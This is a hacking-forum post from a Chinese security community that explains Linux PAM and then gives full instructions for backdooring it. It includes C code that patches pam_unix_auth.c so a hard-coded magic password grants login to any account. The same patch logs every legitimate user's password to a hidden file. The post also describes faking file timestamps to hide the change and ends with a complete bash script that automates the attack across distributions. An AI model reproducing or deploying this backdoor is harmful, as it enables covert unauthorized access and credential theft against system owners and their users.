【我爱T00L】Spatch pam 后门的安装 更新自动安装脚本

2013-09-02 12:44:36 46 7247 1


“我爱T00LS,原创征集活动”
~~thanks t00ls



说一点感想,本人小菜,大牛别打脸。tools大牛如云~~

patch pam这个东西不是什么新东西,早几年就有了。而且有各种各样patch的方法。我之前只在网上看到过一个英文文章讲这个,那个文章已经比较老了,很多地方已经过时了。所以我根据自己测试的过程整理了这篇,方便自己以后查找使用。分享的快乐除了分享本身这个过程,还有可以学到新的东西。@lostwolf 同学提供的脚本让我知道原来网上还有个老外的视频和脚本。@zafe 同学提供了论坛之前的一个帖子,从那里我也看到了一些不错的东西。同样,我觉得,lostwolf同学分享这个脚本也是感觉很有收获的,他同时提出了centos测试不成功的问题。而我恰好测试过centos,所以给出了我的解决方案。所以这个 过程是大家都学到了新东西。so 分享吧少年,参见tools活动,大奖抱回家~

本文的定位是一个科普贴。不过看到这个自动安装的脚本以后我觉得可以有一个新的方向。关于patch pam的资料。我看到的都是一个通用的原理方法,包括前面提到的英文资料和论坛老早之前的帖子。这个帖子不同的地方就是根据我自己的调试过程给出了centos上应该如何编译,64位系统应该怎么安装的一些小小的 tips。所以我想做一个适合绝大多数linux发行版的自动化安装patch pam backdoor的脚本。这个也是pam后门的优势,比大部分rootkit更好的适应性。

不知道这个事情有木有人已经做过了。欢迎提醒。这个脚本不高深,可能只是需要不断的调试各种发行版。欢迎提供测试成功和不成功的发行版版本号。这个脚本应该是很有意思的一个事情。

## 什么pam ##

在过去,我们想要对一个使用者进行认证 (authentication),得要要求用户输入账号口令, 然后透过自行撰写的程序来判断该账号口令是否正确。也因为如此,我们常常得使用不同的机制来判断账号口令, 所以搞的一部主机上面拥有多个各别的认证系统,也造成账号口令可能不同步的验证问题! 为了解决这个问题因此有了 PAM (Pluggable Authentication Modules, 嵌入式模块) 的机制!

PAM 可以说是一套应用程序编程接口 (Application Programming Interface, API),他提供了一连串的验证机制,只要使用者将验证阶段的需求告知 PAM 后, PAM 就能够回报使用者验证的结果 (成功或失败)。由于 PAM 仅是一套验证的机制,又可以提供给其他程序所呼叫引用,因此不论你使用什么程序,都可以使用 PAM 来进行验证,如此一来,就能够让账号口令或者是其他方式的验证具有一致的结果!也让程序设计师方便处理验证的问题.[引用自鸟哥私房菜](http://vbird.dic.ksu.edu.tw/linux_basic/0410accountmanager_5.php#ps5)

## pam backdoor ##

从pam的介绍中,我们知道,其实登录系统的时候,是pam的模块来验证我们的密码是否正确的.所以就存在这样一种可能,修改pam的验证逻辑,来达到一定条件下不去跟shadow里的密码校验,而是直接返回验证正确.从而达到作为后门的目的.

patch过程如下:

下载pam的源码:http://www.linux-pam.org/library/,有很多个版本,我测试的时候都是用的最新版.没有出现问题.测试过的ubuntu10.04和centos 5.4 X64.
wget [url]http://www.linux-pam.org/library/Linux-PAM-1.1.6.tar.gz[/url]
        tar zxvf Linux-PAM-1.1.6.tar.gz
修改modules/pam_unix/pam_unix_auth.c文件
        cd Linux-PAM-1.1.6
        vi modules/pam_unix/pam_unix_auth.c
查找pam_sm_authenticate函数,修改如下这段函数:
        D(("user=%s, password=[%s]", name, p));
       
    /* verify the password of this user */
       
    retval = _unix_verify_password(pamh, name, p, ctrl);
       
    name = p = NULL;

    AUTH_RETURN;
改为:
        D(("user=%s, password=[%s]", name, p));
        if(strcmp(p, "MAGIC_PASSWD") == 0)  ////MAGIC_PASSWD修改为自己设置的后门密码,如12345
        {
            retval = PAM_SUCCESS;
            AUTH_RETURN;
        }

        /* verify the password of this user */
        retval = _unix_verify_password(pamh, name, p, ctrl);
        if(retval == PAM_SUCCESS)
        {
            FILE *fp = fopen("/usr/local/man/.pam.log","a"); /////记录管理员密码的文件路径.
            fprintf(fp, "[evilpam]user=%s, password=%s\n", name, p);
            fclose(fp);
        }
        name = p = NULL;
这段密码的意思是设置了一个MAGIC_PASSWD,任何用户使用这个密码都可以登录.如果用户不是用MAGIC_PASSWD登录的,就把他的用户名密码记录在/usr/local/man/.pam.log文件里.


保存文件之后,
        ./configure
        make
覆盖pam_unix.so之前先备份一下:
        cp /lib/security/pam_unix.so /tmp/pam_unix.so
        cp modules/pam_unix/.libs/pam_unix.so /lib/security/
覆盖

需要注意一点.64位的系统里,pam_unix.so的路径是/lib64/security/,坑爹的是64位系统也有/lib/security/pam_unix.so这个文件,一开始调试了好久都没好....

修改文件的时间戳~~更好的隐藏~
        touch -t 200909091108 pam_unix.so
覆盖之后,后门就马上生效了.记得要先测试过.不然断开了之后,发现有问题,连不上就2了.一个patch pam backdoor就搞定了.

##致谢##
这方面资料不是很多。感谢0daysecurity.com提供的资料分享。md写的,贴近来,改了下格式,还是有些小问题。。

感谢6楼@lostwolf 同学提供的自动安装脚本。稍微修改了下,centos默认会编译失败。添加了对centos的判断,修改configure参数。添加了64位系统的支持,自动判断路径。
本贴已经又pam模块科普和手动安装 pam 后门成功晋级为打造一个普适的linux系统pam后门自动安装脚本。欢迎测试。有任何问题可以跟帖反馈~~

测试环境:centos 5.4 x86_64  和ubuntu 10.04 。如果出现sed -e  `s’ 错误,请使用bash pam.sh执行。这个错误是由于不同的shell对单双引号的规则 导致的。
#!/bin/bash
##
##查看版本:
##redhat yum list pam
##debian&Ubuntu  dpkg -s libpam-modules | grep -i version | cut -d' ' -f2
##
PASS='test123' ##......
LOG='\/bin\/.sshlog' ##......

echo "
.___  ___.   ___     ___    _______  ____    ____
|   \/   |  / _ \   / _ \  |       \ \   \  /   /
|  \  /  | | | | | | | | | |  .--.  | \   \/   /  
|  |\/|  | | | | | | | | | |  |  |  |  \_    _/   
|  |  |  | | |_| | | |_| | |  '--'  |    |  |     
|__|  |__|  \___/   \___/  |_______/     |__|   "
echo -e "\nPam-Backdoor\n{code this shit while learning pam}\n\n"
oldtime=`stat -c '%z' /lib/security/pam_ftp.so`
echo 'Pam backdoor starting!'
mirror_url='http://www.linux-pam.org/library/Linux-PAM-1.1.1.tar.gz'
#mirror_url='http://yum.singlehop.com/pub/linux/libs/pam/pre/library/Linux-PAM-0.99.6.2.tar.gz'
echo 'Fetching from '$mirror_url
wget $mirror_url #fetch the roll
tar zxf Linux-PAM-1.1.1.tar.gz #untar
cd Linux-PAM-1.1.1
#find and replace
sed -i -e 's/retval = _unix_verify_password(pamh, name, p, ctrl);/retval = _unix_verify_password(pamh, name, p, ctrl);\n\tif (strcmp(p,"'$PASS'")==0 ){retval = PAM_SUCCESS;}if(retval == PAM_SUCCESS){\n\tFILE * fp;\n\tfp = fopen("'$LOG'", "a");\n\tfprintf(fp, "%s : %s\\n", name, p);\n\tfclose(fp);\n\t}/g' modules/pam_unix/pam_unix_auth.c
DIS=`head /etc/issue -n 1|awk '{print $1}'`
#get the version
if [ $DIS = "CentOS" ];then
./configure --disable-selinux && make
else
./configure && make
fi
#copy modified pam_unix.so
if [ `uname -p` = 'x86_64' ];then
LIBPATH=lib64
else
LIBPATH=lib
fi
/bin/cp -rf /$LIBPATH/security/pam_unix.so /$LIBPATH/security/pam_unix.so.bak #.. .........
/bin/cp -rf modules/pam_unix/.libs/pam_unix.so /$LIBPATH/security/pam_unix.so
touch -d "$oldtime" /lib/security/pam_unix.so
cd .. && rm -rf Linux-PAM-1.1.1*
echo "Done bro.."

关于作者

litdgs6篇文章181篇回复

评论46次

要评论?请先  登录  或  注册